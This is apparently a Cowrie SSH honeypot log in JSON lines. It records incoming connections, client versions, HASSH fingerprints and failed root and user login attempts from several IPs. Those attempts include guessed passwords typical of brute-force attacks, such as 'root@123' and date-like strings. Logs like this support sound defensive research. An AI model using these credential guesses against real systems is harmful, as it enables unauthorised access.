{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:53.624073Z","src_ip":"43.163.81.22","session":"d03871dfbc95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thomas","message":"login attempt [root/thomas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:54.602265Z","src_ip":"43.163.81.22","session":"d03871dfbc95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:55.843488Z","src_ip":"43.163.81.22","session":"d03871dfbc95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.59.187","src_port":45610,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4cfd1cfd5f7","protocol":"ssh","message":"New connection: 20.203.59.187:45610 (10.17.0.5:22) [session: e4cfd1cfd5f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:57.187197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:57.192405Z","src_ip":"20.203.59.187","session":"e4cfd1cfd5f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:57.352609Z","src_ip":"20.203.59.187","session":"e4cfd1cfd5f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:58.012717Z","src_ip":"20.203.59.187","session":"e4cfd1cfd5f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:59.172923Z","src_ip":"20.203.59.187","session":"e4cfd1cfd5f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":31519,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbb0cec8f598","protocol":"ssh","message":"New connection: 2.57.121.25:31519 (10.17.0.5:22) [session: dbb0cec8f598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:02.016022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:02.022002Z","src_ip":"2.57.121.25","session":"dbb0cec8f598","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:02.124767Z","src_ip":"2.57.121.25","session":"dbb0cec8f598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15111978","message":"login attempt [user/15111978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:02.604983Z","src_ip":"2.57.121.25","session":"dbb0cec8f598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15101978","message":"login attempt [user/15101978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:03.710360Z","src_ip":"2.57.121.25","session":"dbb0cec8f598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15091993","message":"login attempt [user/15091993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:04.820590Z","src_ip":"2.57.121.25","session":"dbb0cec8f598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15081977","message":"login attempt [user/15081977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:05.926349Z","src_ip":"2.57.121.25","session":"dbb0cec8f598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15071994","message":"login attempt [user/15071994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:07.035450Z","src_ip":"2.57.121.25","session":"dbb0cec8f598","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":53768,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ff573c54749","protocol":"ssh","message":"New connection: 209.99.190.200:53768 (10.17.0.5:22) [session: 5ff573c54749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:07.170912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:07.176845Z","src_ip":"209.99.190.200","session":"5ff573c54749","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:07.274629Z","src_ip":"209.99.190.200","session":"5ff573c54749","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shinee","message":"login attempt [root/shinee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:07.676703Z","src_ip":"209.99.190.200","session":"5ff573c54749","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:08.139937Z","src_ip":"2.57.121.25","session":"dbb0cec8f598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:08.774735Z","src_ip":"209.99.190.200","session":"5ff573c54749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.53.168.23","src_port":46984,"dst_ip":"10.17.0.5","dst_port":22,"session":"202c41b0950f","protocol":"ssh","message":"New connection: 163.53.168.23:46984 (10.17.0.5:22) [session: 202c41b0950f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:10.353743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:10.360048Z","src_ip":"163.53.168.23","session":"202c41b0950f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:10.618397Z","src_ip":"163.53.168.23","session":"202c41b0950f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hduser","message":"login attempt [root/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:11.664531Z","src_ip":"163.53.168.23","session":"202c41b0950f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.56.192","src_port":48906,"dst_ip":"10.17.0.5","dst_port":22,"session":"34a94dfdfc83","protocol":"ssh","message":"New connection: 43.153.56.192:48906 (10.17.0.5:22) [session: 34a94dfdfc83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:12.265766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:12.271380Z","src_ip":"43.153.56.192","session":"34a94dfdfc83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:12.340624Z","src_ip":"43.153.56.192","session":"34a94dfdfc83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.456","message":"login attempt [root/123.456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:12.646476Z","src_ip":"43.153.56.192","session":"34a94dfdfc83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:12.921500Z","src_ip":"163.53.168.23","session":"202c41b0950f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:13.718039Z","src_ip":"43.153.56.192","session":"34a94dfdfc83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.1.45","src_port":41420,"dst_ip":"10.17.0.5","dst_port":22,"session":"b55611600e0f","protocol":"ssh","message":"New connection: 43.134.1.45:41420 (10.17.0.5:22) [session: b55611600e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:13.979386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:13.984712Z","src_ip":"43.134.1.45","session":"b55611600e0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:14.223541Z","src_ip":"43.134.1.45","session":"b55611600e0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.109.207","src_port":47212,"dst_ip":"159.203.135.109","dst_port":22,"session":"b278d7ae3de1","protocol":"ssh","message":"New connection: 94.159.109.207:47212 (159.203.135.109:22) [session: b278d7ae3de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:14.412789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:14.418342Z","src_ip":"94.159.109.207","session":"b278d7ae3de1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:14.541619Z","src_ip":"94.159.109.207","session":"b278d7ae3de1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.97","src_port":46168,"dst_ip":"159.203.135.109","dst_port":22,"session":"006e1012ac5f","protocol":"ssh","message":"New connection: 171.244.37.97:46168 (159.203.135.109:22) [session: 006e1012ac5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:14.835072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:14.840421Z","src_ip":"171.244.37.97","session":"006e1012ac5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:14.909654Z","src_ip":"94.159.109.207","session":"b278d7ae3de1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:15.097550Z","src_ip":"171.244.37.97","session":"006e1012ac5f","protocol":"ssh"}
